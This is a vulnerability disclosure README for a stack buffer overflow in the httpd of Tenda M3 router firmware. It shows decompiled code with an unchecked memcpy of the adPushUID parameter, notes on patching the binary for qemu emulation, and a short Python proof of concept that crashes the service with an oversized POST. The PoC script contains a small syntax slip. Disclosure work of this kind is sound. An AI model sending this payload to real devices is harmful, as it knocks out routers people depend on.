xxy1126 update 20220820 ... on Aug 19 History

..

readme.assets	3 months ago
readme.markdown	3 months ago

readme.markdown

Tenda M3 contains Stack Buffer Overflow Vulnerability

overview

- type: stack buffer overflow vulnerability
- supplier: Tenda https://www.tenda.com
- product: TendaM3 https://www.tenda.com.cn/product/M3.html
- firmware download: https://www.tenda.com.cn/download/detail-3133.html
- affect version: TendaM3 v1.0.0.12(4856)

Description

1. Vulnerability Details

the `httpd` in directory `/bin` has a buffer overflow. The vunlerability is in fucntion `formDelPushedAd`

```
char v6[3200]; // [sp+C98h] [bp-CACh] BYREF
_WORD *v7; // [sp+1918h] [bp-2Ch]
void *ptr; // [sp+191Ch] [bp-28h]
int v9; // [sp+1920h] [bp-24h]
size_t size; // [sp+1924h] [bp-20h]
char *s; // [sp+1928h] [bp-1Ch]
int i; // [sp+192Ch] [bp-18h]
void *dest; // [sp+1930h] [bp-14h]
const char *v14; // [sp+1934h] [bp-10h]

s = (char *)webGetVar(a1, "adPushUID", "12345\n67890");
memset(v6, 0, sizeof(v6));
v1 = strlen(s);
memcpy(v6, s, v1);
```

In this function, it copies POST parameter `adPushUID` to stack buffer `v6`

If `s` is too long, it will causes dos(deny of service)

2. Recurring loopholes and POC

use qemu-arm-static to run the `httpd` , we need to patch it before run.

- in `main` function, The `ConnectCfm` function didn't work properly, so I patched it to `NOP`
- The `R7WebsSecurityHandler` function is used for permission control, and I've modified it to access URLs that can only be accessed after login

poc of DOS(deny of service)

```
import requests

data = {
    "adPushUID": "a"*0x2000
}
cookies = {
    "user": "admin"
}
res = requests.post("http://127.0.0.1/goform/delPushedAd", data=data, cookies=cookie
print(res.content)
```

```
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
/bin/sh: can't create /proc/sys/net/ipv4/tcp_timestamps: nonexistent directory
httpd listen ip = 127.0.0.1 port = 80
webs: Listening for HTTP requests at address 20.246.254.255
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1]    11163 segmentation fault  sudo chroot . ./qemu bin/httpd
```